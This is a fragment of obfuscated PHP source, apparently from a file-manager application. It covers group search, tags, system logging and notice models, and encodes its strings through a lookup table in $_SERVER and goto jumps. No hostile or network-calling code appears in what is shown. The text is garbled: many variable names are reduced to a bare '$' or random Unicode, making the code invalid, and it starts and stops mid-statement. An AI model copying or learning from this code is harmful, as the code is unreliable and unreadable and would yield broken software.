$_SERVER[秼]; $ݍ = trim($[$ڇ̦[2082]]); $® = explode($ڇ̦[53], $ݍ); if (!$ݍ || count($®) == 1) { return $this->listSearchNow($); } $ = array($ڇ̦[456] => array()); foreach ($® as $ȑ) { if (!trim($ȑ)) { continue; } $[$ڇ̦[2082]] = $ȑ; $ = $this->listSearchNow($); $[$ڇ̦[456]] = array_merge($[$ڇ̦[456]], $[$ڇ̦[456]]); } $[$ڇ̦[456]] = array_unique_by_key($[$ڇ̦[456]], $ڇ̦[1984]); $[$ڇ̦[453]] = array($ڇ̦[454] => count($[$ڇ̦[456]]), $ڇ̦[450] => 20, $ڇ̦[430] => 1, $ڇ̦[455] => 1); return $; } public function listSearchNow($ƅ) { $ҍ =& $_SERVER[秼]; $˜ = trim($ƅ[$ҍ[2082]]); $؟ = isset($ƅ[$ҍ[2083]]) ? $ƅ[$ҍ[2083]] : !1; if (!trim($˜)) { return !1; } $˜ = str_replace($ҍ[2084], $ҍ[2085], $˜); $ = array($ҍ[1984] => array($ҍ[470], "{$˜}\x25"), $ҍ[32] => array($ҍ[470], "\x25{$˜}\45"), $ҍ[1086] => $ҍ[2086]); if ($؟) { $ = $this->getInfoSimple($؟); $Ϸܽ = $[$ҍ[595]] . $؟ . $ҍ[627]; $ = array($, array($ҍ[595] => array($ҍ[470], $Ϸܽ))); } $ = $this->parseWhereLike($); $芫 = $this->_makeOrder()->where($)->selectPage(20); $芫 = $芫 ? $芫 : array($ҍ[456] => array(), $ҍ[453] => array()); if (!$芫 || count($芫[$ҍ[456]]) < 5 && Input::check($˜, $ҍ[395])) { $ = $this->groupChildrenAll($؟); $ = $this->_searchFromMeta($ҍ[548], $˜, 10, $); $ۤ = $this->_searchFromMeta($ҍ[549], $˜, 10, $); $̮é = array_merge($, $ۤ, $芫[$ҍ[456]]); $芫[$ҍ[456]] = array_unique_by_key($̮é, $ҍ[1984]); $芫[$ҍ[453]][$ҍ[454]] = count($芫[$ҍ[456]]); $芫[$ҍ[453]][$ҍ[455]] = ceil($芫[$ҍ[453]][$ҍ[454]] / $芫[$ҍ[453]][$ҍ[450]]); } $this->_listDataApply($芫[$ҍ[456]]); return $芫; } protected function groupChildrenAll($Ɯ) { $ =& $_SERVER[秼]; if (!$Ɯ) { return !1; } if (!is_array($Ɯ)) { $Ɯ = array($Ɯ); } $ê = $Ɯ; foreach ($Ɯ as $) { $ = $this->getInfoSimple($); $ = array($[595] => array($[470], $[$[595]] . $ . $[627])); $ = $this->field($[1984])->where($)->select(); $ê = array_merge($ê, array_to_keyvalue($, $[12], $[1984])); } return array_unique($ê); } private function _searchFromMeta($͡ߘ, $IJ, $͋, $큰) { $߫ =& $_SERVER[秼]; $IJ = strtolower($IJ); $꧑ = array($߫[97] => $͡ߘ, $߫[461] => array($߫[470], "\45{$IJ}\45")); $꧑ = $this->parseWhereLike($꧑); if ($큰) { $꧑[$߫[1984]] = array($߫[7], $큰); } $ = Model($߫[2087])->where($꧑)->limit($͋)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $߫[12], $߫[1984]); $נۗ = $this->where(array($߫[2076] => array($߫[7], $)))->select(); if (!$נۗ) { return array(); } return $נۗ; } protected function _listDataApplyItem($ȯ) { $ = array($ȯ); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$ݠ) { $ܑ =& $_SERVER[秼]; if (!$ݠ) { return; } $ = array_to_keyvalue($ݠ, $ܑ[12], $ܑ[1984]); $this->_listAppendChildren($ݠ); $this->_listAppendChildrenMember($ݠ); $this->_listAppendMeta($ݠ, $); $this->_listAppendParent($ݠ); $this->_listAppendSourceRoot($ݠ, $); } private function _listAppendChildren(&$ڑ) { $ܡ =& $_SERVER[秼]; $ȕ = array_to_keyvalue($ڑ, $ܡ[12], $ܡ[1984]); $˫ = array($ܡ[192] => array($ܡ[7], $ȕ)); $球 = array($ܡ[192], $ܡ[2088] => $ܡ[576]); $ = $this->field($球)->where($˫)->group($ܡ[192])->select(); $ = array_to_keyvalue($, $ܡ[192], $ܡ[576]); foreach ($ڑ as &$ȓ) { $ʪÚ = $ȓ[$ܡ[1984]]; $ȓ[$ܡ[2089]] = isset($[$ʪÚ]) ? intval($[$ʪÚ]) : !1; } unset($ȓ); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[秼]; $ = array_to_keyvalue($, $[12], $[1984]); $̜ = array($[1984] => array($[7], $)); $ = array($[1984], $[2088] => $[576]); $ծЦ = Model($[2078])->field($)->where($̜)->group($[1984])->select(); $ = array_to_keyvalue($ծЦ, $[1984], $[576]); foreach ($ as &$DŽ) { $韍ǘ = $DŽ[$[1984]]; $DŽ[$[2090]] = isset($[$韍ǘ]) ? intval($[$韍ǘ]) : !1; } unset($DŽ); } private function _listAppendMeta(&$, $) { $ =& $_SERVER[秼]; $Ͼכ = array($[1984] => array($[7], $)); $ۭ = Model($[2077])->where($Ͼכ)->select(); $ۭ = array_to_keyvalue_group($ۭ, $[1984]); foreach ($ۭ as &$ßã) { $ßã = array_to_keyvalue($ßã, $[97], $[461]); } unset($ßã); foreach ($ as &$) { $[$[550]] = array(); if (isset($ۭ[$[$[1984]]])) { $[$[550]] = $ۭ[$[$[1984]]]; } } unset($); } protected function parentLevelArray($Ԯ) { $ =& $_SERVER[秼]; $Ԯ = explode($[50], trim($Ԯ, $[50])); $Ԯ = array_remove_value($Ԯ, $[230]); return $Ԯ; } protected function parentInGroup($ɴ, $伨) { $Ĭ =& $_SERVER[秼]; $ي = $this->getInfoSimple($ɴ); if (!$ي) { return !0; } $ = $this->parentLevelArray($ي[$Ĭ[595]]); $[] = $ɴ; foreach ($ as $ɴ) { if (in_array($ɴ . $Ĭ[12], $伨)) { return !0; } } return !1; } private function _listAppendParent(&$⧟) { $ =& $_SERVER[秼]; $ = array(); foreach ($⧟ as &$̰) { $[$̰[$[1984]]] = $̰[$[32]]; $ܐ = $this->parentLevelArray($̰[$[595]]); foreach ($ܐ as $֬) { if (!isset($[$֬])) { $[$֬] = 0; } } } unset($̰); foreach ($ as $Ƕ => $) { if ($) { continue; } $ = $this->getInfoSimple($Ƕ); $[$Ƕ] = $[$[32]]; } $ = $GLOBALS[$[6]][$[92]][$[2091]]; if (KodUser::isRoot()) { $ = !1; } foreach ($⧟ as &$̰) { $ܐ = $this->parentLevelArray($̰[$[595]]); $ = $[12]; foreach ($ܐ as $Ƕ => $֬) { if ($ && $Ƕ == 0) { continue; } $ .= $[$֬] . $[8]; } if ($ܐ) { $ .= $̰[$[32]]; } $̰[$[600]] = str_replace($[256], $[8], $); } unset($̰); } private function _listAppendSourceRoot(&$ߌ, $) { $̐ =& $_SERVER[秼]; $ԧ = Model($̐[913])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ԧ = array_to_keyvalue($ԧ, $̐[580]); $ԧ = array_remove_key($ԧ, $̐[580]); foreach ($ߌ as &$Ÿ) { $Ÿ[$̐[90]] = $ԧ[$Ÿ[$̐[1984]]] ? $ԧ[$Ÿ[$̐[1984]]] : array(); } unset($Ÿ); } protected function groupMerge($ɼ) { $ɼ = array_values(array_unique($ɼ)); $ = array(); for ($܋ = 0; $܋ < count($ɼ); $܋++) { $ = !1; for ($͵풏 = 0; $͵풏 < count($ɼ); $͵풏++) { if ($܋ == $͵풏) { continue; } if ($this->isParentOf($ɼ[$͵풏], $ɼ[$܋])) { $ = !0; break; } } if (!$) { $[] = $ɼ[$܋]; } } return $; } protected function isParentOf($Œ, $ǩ) { $ =& $_SERVER[秼]; if (!$Œ || !$ǩ || $Œ == $ǩ) { return !1; } $νՌ = $this->getInfoSimple($Œ); $ɼ = $this->getInfoSimple($ǩ); $Ֆ = $νՌ[$[595]] . $Œ . $[50]; if (substr($ɼ[$[595]], 0, strlen($Ֆ)) == $Ֆ) { return !0; } return !1; } public function groupShowRoot($Ŝ, $ = false) { $ڣ =& $_SERVER[秼]; $䴚 = $this->getInfo($Ŝ); if (!$䴚) { return array(); } $ = $this->parentLevelArray($䴚[$ڣ[595]]); $À = array($Ŝ); if (count($) == 0) { return $À; } if ($ && count($) == 1) { return $À; } if (!$䴚[$ڣ[550]] || !isset($䴚[$ڣ[550]][$ڣ[2074]]) || $䴚[$ڣ[550]][$ڣ[2074]] == $ڣ[864]) { return $this->groupShowRoot($[count($) - 1], $); } if ($䴚[$ڣ[550]][$ڣ[2074]] == $ڣ[443]) { $ = explode($ڣ[50], $䴚[$ڣ[550]][$ڣ[2075]]); if ($) { $À = array_merge($À, $); } } return $À; } protected function resetParentLevel() { $ =& $_SERVER[秼]; $֗ = $[1984]; $ġҗɗ = $this->select(); $ġҗɗ = array_to_keyvalue($ġҗɗ, $֗); foreach ($ġҗɗ as $) { $Ϝ = $; $悤 = array(); while ($Ϝ[$[192]] != 0) { $悤[] = $Ϝ[$[192]]; $Ϝ = $ġҗɗ[$Ϝ[$[192]]]; } $悤[] = 0; $悤 = $[50] . implode($[50], array_reverse($悤)) . $[50]; $this->setNamePinyin($[$֗], $[$[32]]); $this->where(array($֗ => $[$֗]))->save(array($[666] => $悤)); } return $ġҗɗ; } public function groupNameAuto($, $Қ) { $ =& $_SERVER[秼]; $䝠؏ = $this->where(array($[488] => $))->getField($[32], !0); if (!$䝠؏ || !in_array($Қ, $䝠؏)) { return $Қ; } for ($ܸ = 1; $ܸ <= count($䝠؏) + 1; $ܸ++) { $鱲 = $Қ . "\50{$ܸ}\x29"; if (!in_array($鱲, $䝠؏)) { return $鱲; } } } public function groupSwitch($, $) { $ù =& $_SERVER[秼]; $ = array($ù[1984] => array($ù[7], array($, $))); $ȗ = $this->where($)->select(); $ȗ = array_to_keyvalue($ȗ, $ù[1984]); if (!isset($ȗ[$]) || !isset($ȗ[$]) || $ȗ[$][$ù[192]] == 0) { return !1; } $ = array($ù[1984] => $); $ڞ = Model($ù[2078])->where($)->select(); if (!$ڞ) { $ڞ = array(); } foreach ($ڞ as $) { $ = $[$ù[1783]]; $ = array($ù[1783] => $, $ù[1984] => $); $ = Model($ù[2078])->where($)->find(); if (!$) { $ٌ = array($ => $[$ù[2092]]); Model($ù[608])->userGroupAdd($, $ٌ); } Model($ù[608])->userGroupRemove($, $); } $ = array($ù[190] => 2, $ù[192] => 0, $ù[496] => 1, $ù[580] => array($ù[7], array($, $))); $ = Model($ù[913])->where($)->field($ù[2093])->select(); $ = array_to_keyvalue($, $ù[580], $ù[193]); $ę = !empty($[$]) ? $[$] : !1; if ($ę) { if (!$[$]) { $[$] = Model($ù[913])->groupRootAdd($); } $ = $[$]; $ = array($ù[192] => $ę); $ = Model($ù[913])->where($)->field($ù[2094])->select(); if (!$) { $ = array(); } Model($ù[913])->moveClearAuth = !1; foreach ($ as $) { $ = $[$ù[496]] == $ù[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ù[913])->move($[$ù[193]], $, $); } Model($ù[913])->moveClearAuth = !0; $ = array($ù[190] => 2, $ù[580] => $); $߈ = array($ù[580] => $); Model($ù[2095])->where($)->save($߈); Model($ù[2096])->where($)->save($߈); } $this->_changeChildLevel($ȗ[$], $ȗ[$], !0); $this->where(array($ù[192] => $))->save(array($ù[192] => $)); $this->_clearChildrenCache($ȗ[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\163\145\x72\137\146\141\x76"; protected function cacheFunctionAlias($儘) { $ȃ =& $_SERVER[秼]; return array($ȃ[2097] => array($儘[0], $ȃ[2098]), $ȃ[2099] => array($儘[0], $ȃ[2100])); } protected function get($ʱ) { $ =& $_SERVER[秼]; $̆ = Model($[596])->metaGet($ʱ, $[2101]); $бڂ = json_decode($̆, !0); return $бڂ ? $бڂ : array($[2102] => $[91], $[456] => array()); } protected function set($ٻ, $ʼn) { $ =& $_SERVER[秼]; $ʼn = $ʼn ? $ʼn : array($[2102] => $[91], $[456] => array()); return Model($[596])->metaSet($ٻ, $[2101], json_encode($ʼn)); } protected function getByTagID($ۨ, $) { $Ğ =& $_SERVER[秼]; if (!$ۨ || !$) { return !1; } if (!Model($Ğ[596])->getInfoSimple($ۨ)) { return !1; } $ғ = $this->get($ۨ); if (!$ғ || !isset($ғ[$Ğ[456]])) { return !1; } $؛ = array_find_by_field($ғ[$Ğ[456]], $Ğ[486], $); return is_array($؛) ? $؛ : !1; } public function listSource($, $Д嘗) { $떺 =& $_SERVER[秼]; if ($Д嘗 && !is_array($Д嘗)) { $Д嘗 = array($Д嘗); } $ = $this->listData($); $Ҽʹ = array(); foreach ($ as $) { $֝ = $[$떺[87]]; if (!$֝) { continue; } if (!isset($Ҽʹ[$֝])) { $Ҽʹ[$֝] = array(); } $Ҽʹ[$֝][] = $[$떺[511]]; } $؎ = array(); foreach ($Ҽʹ as $ڋٺ => $) { $ֻ = !0; if (!$Д嘗) { $؎[] = $ڋٺ; continue; } foreach ($Д嘗 as $̗) { if (!in_array($̗, $)) { $ֻ = !1; break; } } if ($ֻ) { $؎[] = $ڋٺ; } } if (!$؎) { return array(); } $ىʟ = array($떺[502] => array($떺[503], $؎), $떺[580] => $, $떺[190] => SourceModel::TYPE_GROUP); $ʭ = Model($떺[1430])->listSource($ىʟ); if (!$ʭ || count($؎) == $ʭ[$떺[453]][$떺[454]]) { return $ʭ; } $Α = array(); $㜷 = array_to_keyvalue($ʭ[$떺[85]], $떺[12], $떺[193]); $ = array_to_keyvalue($ʭ[$떺[86]], $떺[12], $떺[193]); $ = array_merge($, $㜷); foreach ($؎ as $֝) { if (!in_array($֝, $)) { $Α[] = $֝; } } if ($Α) { $this->removeBySource($, $Α); } return $ʭ; } protected function listData($Óۥ) { $˶ =& $_SERVER[秼]; $ = array($˶[1774] => 0, $˶[568] => array($˶[2103], 0), $˶[507] => $˶[2104] . $Óۥ); $ѯ = $˶[2105]; $ = $this->field($ѯ)->where($)->order($˶[2106])->select(); return $ ? $ : array(); } protected function addToTag($, $, $¿) { $ֶℋ =& $_SERVER[秼]; if (!$this->getByTagID($, $¿) || !$) { return !1; } if (!Model($ֶℋ[913])->pathInfo($)) { return !1; } $̳ = array($ֶℋ[1774] => 0, $ֶℋ[568] => $¿, $ֶℋ[506] => $, $ֶℋ[507] => $ֶℋ[2107] . $, $ֶℋ[505] => $ֶℋ[12], $ֶℋ[1988] => 0); if ($this->where($̳)->find()) { return !1; } return $this->add($̳); } protected function removeFromTag($, $ͯ, $ڋ) { $滃 =& $_SERVER[秼]; if (!$this->getByTagID($, $ڋ) || !$ͯ) { return !1; } if (is_array($ͯ)) { $ͯ = array($滃[7], $ͯ); } $ĝ = array($滃[1774] => 0, $滃[568] => $ڋ, $滃[507] => $滃[2107] . $, $滃[506] => $ͯ); return $this->where($ĝ)->delete(); } protected function removeByTag($߹, $ݬ) { $ϲ =& $_SERVER[秼]; if (!$this->getByTagID($߹, $ݬ)) { return !1; } $ = array($ϲ[1774] => 0, $ϲ[568] => $ݬ, $ϲ[507] => $ϲ[2107] . $߹); return $this->where($)->delete(); } protected function removeBySource($Ӫ, $) { $ =& $_SERVER[秼]; if (!$Ӫ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ҵ = array($[1774] => 0, $[506] => $, $[568] => array($[1100], 0), $[507] => $[2107] . $Ӫ); return $this->where($ҵ)->delete(); } } goto A름; Fσ: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\x65\155\x2e\114\151\x67\x68\164\101\160\x70"; public $modelType = "\x53\x79\163\x74\x65\155\117\x70\x74\151\157\x6e"; public $field = array("\156\141\155\145", "\147\162\x6f\165\x70", "\144\145\163\143", "\143\x6f\x6e\x74\145\156\164"); public function listData($ܗ냃 = false, $Ҭ = "\x6d\x6f\x64\151\x66\171\124\x69\155\x65", $ę = true) { return parent::listData($ܗ냃, $Ҭ, $ę); } public function remove($) { $έĬ = $this->findByName($); if (!$έĬ) { return !1; } return parent::remove($έĬ[$_SERVER[秼][486]]); } public function add($ݤ) { if ($this->findByName($ݤ[$_SERVER[秼][32]])) { return !1; } return parent::insert($ݤ); } public function update($Ե, $) { $ =& $_SERVER[秼]; $貲 = $this->findByName($Ե); $ = $this->findByName($[$[32]]); if (!$貲 || $ && $[$[486]] != $貲[$[486]]) { return !1; } return parent::update($貲[$[486]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\x73\x74\145\155\137\154\157\x67"; protected $dataAuto = array(array("\x63\x72\145\x61\x74\145\124\151\x6d\145", "\x74\151\x6d\145", "\151\156\x73\145\x72\x74", "\146\165\156\143\164\151\x6f\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $Ջ =& $_SERVER[秼]; return array($Ջ[2355] => LNG($Ջ[2356]), $Ջ[2357] => LNG($Ջ[2358]), $Ջ[1926] => LNG($Ջ[2359]), $Ջ[2360] => LNG($Ջ[2361]), $Ջ[2362] => LNG($Ջ[2363]), $Ջ[2364] => LNG($Ջ[2365]), $Ջ[2366] => LNG($Ջ[2367]), $Ջ[1956] => LNG($Ջ[2367]), $Ջ[1957] => LNG($Ջ[2368]), $Ջ[2369] => LNG($Ջ[2370]), $Ջ[2371] => LNG($Ջ[2372]), $Ջ[2373] => LNG($Ջ[2374]), $Ջ[2375] => LNG($Ջ[2376]), $Ջ[1954] => LNG($Ջ[2377]), $Ջ[2378] => LNG($Ջ[2379]), $Ջ[1961] => LNG($Ջ[2380]), $Ջ[2381] => LNG($Ջ[2382]), $Ջ[2383] => LNG($Ջ[2384]), $Ջ[2385] => LNG($Ջ[2386]), $Ջ[2387] => LNG($Ջ[2388]), $Ջ[1964] => LNG($Ջ[2389]), $Ջ[1965] => LNG($Ջ[2390]), $Ջ[2391] => LNG($Ջ[2392]), $Ջ[2393] => LNG($Ջ[2394]), $Ջ[2395] => LNG($Ջ[2396]), $Ջ[1959] => LNG($Ջ[2397]), $Ջ[2398] => LNG($Ջ[2399]), $Ջ[1958] => LNG($Ջ[2400]), $Ջ[2401] => LNG($Ջ[2402]), $Ջ[2403] => LNG($Ջ[2404]), $Ջ[2405] => LNG($Ջ[2404]), $Ջ[2406] => LNG($Ջ[2407]), $Ջ[2408] => LNG($Ջ[2408]), $Ջ[2409] => LNG($Ջ[1930]), $Ջ[2410] => LNG($Ջ[2411]), $Ջ[2412] => LNG($Ջ[2413]), $Ջ[2414] => LNG($Ջ[2415]), $Ջ[2416] => LNG($Ջ[2417]), $Ջ[2418] => LNG($Ջ[2419]), $Ջ[2420] => LNG($Ջ[2420]), $Ջ[2421] => LNG($Ջ[2422]), $Ջ[2423] => LNG($Ջ[2424]), $Ջ[2425] => LNG($Ջ[2426]), $Ջ[2427] => LNG($Ջ[2428]), $Ջ[2429] => LNG($Ջ[2430]), $Ջ[2431] => LNG($Ջ[2432]), $Ջ[212] => LNG($Ջ[212]), $Ջ[213] => LNG($Ջ[2433]), $Ջ[2434] => LNG($Ջ[2434])); } private function typeFile() { $ =& $_SERVER[秼]; $۬ = array($[1961] => array($[1962]), $[2373] => array($[2435]), $[2375] => array($[2436]), $[1954] => array($[1955], $[2437]), $[2383] => array(), $[2385] => array(), $[2387] => array(), $[1964] => array($[1966]), $[1965] => array($[1966]), $[2391] => array($[2438]), $[2393] => array($[2438]), $[2395] => array($[2439]), $[2381] => array($[2440]), $[1959] => array($[2441]), $[2398] => array($[2442]), $[1958] => array($[1960])); return $۬; } private function typeAll() { $ =& $_SERVER[秼]; $ç = $this->typeList; $א = array_filter($this->typeFile()); foreach ($א as $씒 => $) { $ç[$[0]] = $ç[$씒]; } $ç[$[1966]] = LNG($[2443]); $ç[$[2438]] = LNG($[2444]); return $ç; } public function addLog($, $ = array()) { $̓ί =& $_SERVER[秼]; if (!isset($this->typeList[$])) { return; } $ = Session::get($̓ί[2125]); if (!$) { $ = _get($, $̓ί[1783], 0); } if ($ == $̓ί[2410] && is_array($[$̓ί[2445]]) && !$[$̓ί[2445]]) { return; } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024 * 64) { if ($ && is_array($)) { $ = array_intersect_key($, array_flip($̓ί[486], $̓ί[32])); $[$̓ί[2446]] = $; } else { $ = array($̓ί[2446] => $); } } else { if (is_array($)) { $[$̓ί[2446]] = $; } else { $ = array($̓ί[1296] => $, $̓ί[2446] => $); } } $ = array($̓ί[1773] => Session::sign(), $̓ί[1774] => intval($), $̓ί[33] => $, $̓ί[1776] => json_encode($)); return parent::add($); } public function remove($ځ) { $this->where(array($_SERVER[秼][504] => $ځ))->delete(); } private function _makeOrder($ = '') { $ԝ =& $_SERVER[秼]; $ = $ԝ[233]; $餔 = array($ԝ[534] => $ԝ[535], $ԝ[536] => $ԝ[537]); $ = Input::get($ԝ[542], $ԝ[7], $ԝ[2162], array($ԝ[2079], $ԝ[536])); $ = $餔[$]; $ = $ . "{$}\40{$}"; return $this->order($); } public function get($ϖ = '') { $ڸ =& $_SERVER[秼]; if (!$ϖ) { show_json(array()); } $ = array(); if ($ϖ[$ڸ[1783]]) { $[$ڸ[1783]] = $ϖ[$ڸ[1783]]; } if (isset($ϖ[$ڸ[848]])) { $ʼ = $ϖ[$ڸ[848]]; $· = isset($ϖ[$ڸ[849]]) ? $ϖ[$ڸ[849]] : time(); $[$ڸ[233]] = array($ڸ[410], array($ʼ, $·)); } if ($ϖ[$ڸ[33]]) { $̡ = explode($ڸ[50], $ϖ[$ڸ[33]]); $ƥ = $this->typeFile(); $렰 = array(); foreach ($̡ as $ښѲ) { $렰[] = $ښѲ; if (isset($ƥ[$ښѲ])) { $렰 = array_merge($렰, $ƥ[$ښѲ]); } } $렰 = array_unique($렰); if ($렰) { $[$ڸ[33]] = array($ڸ[7], $렰); } } else { $[$ڸ[33]] = array($ڸ[2447], $ڸ[2448]); } if (!empty($ϖ[$ڸ[2446]])) { $[$ڸ[537]] = array($ڸ[470], "\x25{$ϖ[$ڸ[2446]]}\x25"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$ڸ[456]])) { show_json(array(), !0, $[$ڸ[453]]); } $[$ڸ[456]] = $this->logList($[$ڸ[456]]); return $; } private function ipAddress(&$) { $ =& $_SERVER[秼]; if (!empty($[$[2446]])) { $ = IpLocation::get($[$[2446]]); } else { $ = LNG($[2449]); } $[$[2450]] = $; } private function descZipDownload($, &$Л) { $ =& $_SERVER[秼]; if (!isset($[$[2451]])) { return; } $ئԶ = json_decode($[$[2451]], !0); foreach ($ئԶ as $ɽ) { try { $ = IO::infoFullSimple($ɽ[$[87]]); } catch (Exception $) { continue; } $[$[87]] = $ɽ[$[87]]; $Л[] = $[$[193]] = $[$[193]]; $Л[] = $[$[2218]] = $[$[192]]; break; } return $; } private function getSourceList(&$㲃) { $ǧȇ =& $_SERVER[秼]; $♴ = array(); foreach ($㲃 as $ՠ => $כ) { $Ǿ = json_decode($כ[$ǧȇ[537]], !0); if ($כ[$ǧȇ[33]] == $ǧȇ[1957]) { $Ǿ = $this->descZipDownload($Ǿ, $♴); $㲃[$ՠ][$ǧȇ[537]] = json_encode($Ǿ); continue; } if (strpos($כ[$ǧȇ[33]], $ǧȇ[2220]) !== 0) { if (!isset($Ǿ[$ǧȇ[87]]) || strpos($כ[$ǧȇ[33]], $ǧȇ[2452]) !== 0) { continue; } try { $ = IO::infoFullSimple($Ǿ[$ǧȇ[87]]); } catch (Exception $Ŭ) { continue; } $♴[] = $Ǿ[$ǧȇ[193]] = $[$ǧȇ[193]]; $♴[] = $Ǿ[$ǧȇ[2218]] = $[$ǧȇ[192]]; $㲃[$ՠ][$ǧȇ[537]] = json_encode($Ǿ); continue; } $♴[] = $Ǿ[$ǧȇ[193]]; $♴[] = $Ǿ[$ǧȇ[2218]]; if ($Ǿ[$ǧȇ[33]] == $ǧȇ[634]) { $♴[] = $Ǿ[$ǧȇ[537]][$ǧȇ[1250]]; $♴[] = $Ǿ[$ǧȇ[537]][$ǧȇ[1251]]; } if ($Ǿ[$ǧȇ[33]] == $ǧȇ[2229]) { $♴[] = $Ǿ[$ǧȇ[537]][$ǧȇ[193]]; } } if (!$♴) { return array(); } return Model($ǧȇ[913])->sourceListInfo($♴, !0); } private function logList($DZ) { $ =& $_SERVER[秼]; $ʙᢊ = array_to_keyvalue($DZ, $[12], $[1783]); $ᷔ = Model($[608])->userListInfo(array_unique($ʙᢊ)); $ = $this->getSourceList($DZ); $ҭ = $this->typeAll(); $ = array(); $ = array(); foreach ($DZ as $ø => $榘) { $ = $榘[$[33]]; $ر = isset($ᷔ[$榘[$[1783]]]) ? $ᷔ[$榘[$[1783]]] : !1; $ܪߤ = strpos($, $[2453]) === 0 ? LNG($[2454]) : LNG($[2449]); $榘[$[32]] = isset($ر[$[32]]) ? $ر[$[32]] : LNG($[2449]); $榘[$[2279]] = isset($ر[$[2279]]) ? $ر[$[2279]] : $[12]; $榘[$[1671]] = isset($ҭ[$]) ? $ҭ[$] : $ܪߤ; $榘[$[2161]] = $ر; $ = json_decode($榘[$[537]], !0); $榘[$[2446]] = isset($[$[2446]]) ? $[$[2446]] : $[12]; $榘[$[2450]] = IpLocation::get($榘[$[2446]]); if (strpos($, $[2220]) === 0 || isset($[$[2218]])) { $[$[90]] = $[$[$[193]]]; $[$[2234]] = $[$[$[2218]]]; if ($[$[33]] == $[634]) { $[$[537]][$[1250]] = $[$[$[537]][$[1250]]]; $[$[537]][$[1251]] = $[$[$[537]][$[1251]]]; } if ($[$[33]] == $[2229]) { $[$[537]][$[193]] = $[$[$[537]][$[193]]]; } if ($[$[33]] == $[1952]) { $[$[2234]] = $[$[90]]; $[$[2218]] = $[$[2234]][$[193]]; $[$[90]] = !1; $[$[193]] = $[12]; } $♰ = array($[1952], $[2216]); if (!in_array($[$[33]], $♰)) { if ($[$[90]] && $[$[90]][$[190]] == $[191]) { $[] = $榘[$[486]]; unset($DZ[$ø]); continue; } if ($[$[2234]] && $[$[2234]][$[190]] == $[191]) { $[] = $榘[$[486]]; unset($DZ[$ø]); continue; } } } $榘[$[537]] = $; unset($榘[$[2455]]); $[] = $榘; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($) { $̵ =& $_SERVER[秼]; if (count($) == 0) { return; } $ = array($̵[486] => array($̵[7], array_unique($))); $this->where($)->delete(); } public function deviceList($̜, $ = 0) { $ =& $_SERVER[秼]; $ĵ = array($[1783] => $̜, $[233] => array($[1100], $), $[33] => $[1926]); $ = array(); $˳ = $this->field($[2456])->where($ĵ)->order($[2232])->limit(50)->select(); foreach ($˳ as $ => $䡻) { if ($ > 0 && abs($䡻[$[233]] - $˳[$ - 1][$[233]]) < 5) { continue; } $ڈ = json_decode($䡻[$[537]], !0); $䡻[$[2446]] = isset($ڈ[$[2446]]) ? $ڈ[$[2446]] : $[12]; unset($ڈ[$[2446]]); $ = $this->deviceType($ڈ[$[2221]]); if (isset($[$])) { continue; } $䡻[$[2450]] = IpLocation::get($䡻[$[2446]]); $䡻[$[537]] = $ڈ; $[$] = $䡻; } return array_values($); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\155\x2e\x6e\x6f\164\151\143\x65\114\x69\163\x74"; public $field = array("\156\x61\x6d\145", "\143\x6f\x6e\x74\145\156\164", "\141\165\x74\x68", "\155\x6f\x64\x65", "\x74\x69\x6d\145", "\x74\171\x70\145", "\154\x65\x76\x65\x6c", "\x65\156\x61\142\154\145", "\163\x6f\162\x74"); public function listData($ = false, $ﺸ = "\x73\x6f\x72\164", $ = false) { return parent::listData($, $ﺸ, $); } public function add($鰹߂) { $ =& $_SERVER[秼]; $ʝ = time(); if ($鰹߂[$[16]] == $[2457]) { $ʝ = strtotime($鰹߂[$[206]]); } $鰹߂[$[206]] = $ʝ; return parent::insert($鰹߂); } public function update($⤨, $) { $ˆ =& $_SERVER[秼]; $Α = $this->listData($⤨); if (!$Α) { return !1; } $萟 = time(); if ($[$ˆ[16]] == $ˆ[2457]) { $萟 = strtotime($[$ˆ[206]]); } $[$ˆ[206]] = $萟; return parent::update($⤨, $); } public function remove($) { $Ê = $this->listData($); if (!$Ê || $Ê[$_SERVER[秼][191]]) { return !1; } return parent::remove($); } public function sort($ӥۢ, $) { return parent::update($ӥۢ, $); } public function enable($Ȧ, $Ɓ) { return parent::update($Ȧ, array($_SERVER[秼][2458] => $Ɓ)); } private function initUserOption() { $Ćщ =& $_SERVER[秼]; $this->optionType = $Ćщ[2459]; $this->modelType = $Ćщ[2460]; $this->field = array($Ćщ[2461], $Ćщ[32], $Ćщ[206], $Ćщ[33], $Ćщ[2462], $Ćщ[838], $Ćщ[228]); } public function userNoticeGet($˲ = false) { $this->initUserOption(); return parent::listData($˲, $_SERVER[秼][486], !0); } public function userNoticeAdd($ւť) { $ =& $_SERVER[秼]; $this->initUserOption(); $Ƶ = $this->findByKey($[2461], $ւť[$[486]]); if ($Ƶ) { return !0; } $̸ꡒ = array($[2461] => $ւť[$[486]], $[32] => $ւť[$[32]], $[206] => $ւť[$[206]], $[33] => isset($ւť[$[33]]) ? $ւť[$[33]] : 1, $[2462] => isset($ւť[$[2462]]) ? $ւť[$[2462]] : 0, $[838] => 0, $[228] => 0); return parent::insert($̸ꡒ); } public function userNoticeEdit($ڡң, $̓ɯ) { $this->initUserOption(); return parent::update($ڡң, $̓ɯ); } } goto dؼ; D: class PathDriverDriverShareItem { public function __construct($ܛ) { $this->pathParse = $ܛ; } public function __call($ů, $) { $Ռ =& $_SERVER[秼]; if (method_exists($this, $ů)) { return; } $Ѿ = call_user_func_array(array($Ռ[1439], $ů), $); $묶 = array($Ռ[1440], $Ռ[1441], $Ռ[1442], $Ռ[1443], $Ռ[632], $Ռ[634], $Ռ[1444], $Ռ[110], $Ռ[1445], $Ռ[1446]); if (in_array($ů, $묶)) { $Ѿ = $this->getPathOuter($Ѿ); } return $Ѿ; } public function copy($Ӛ, $, $嗡 = 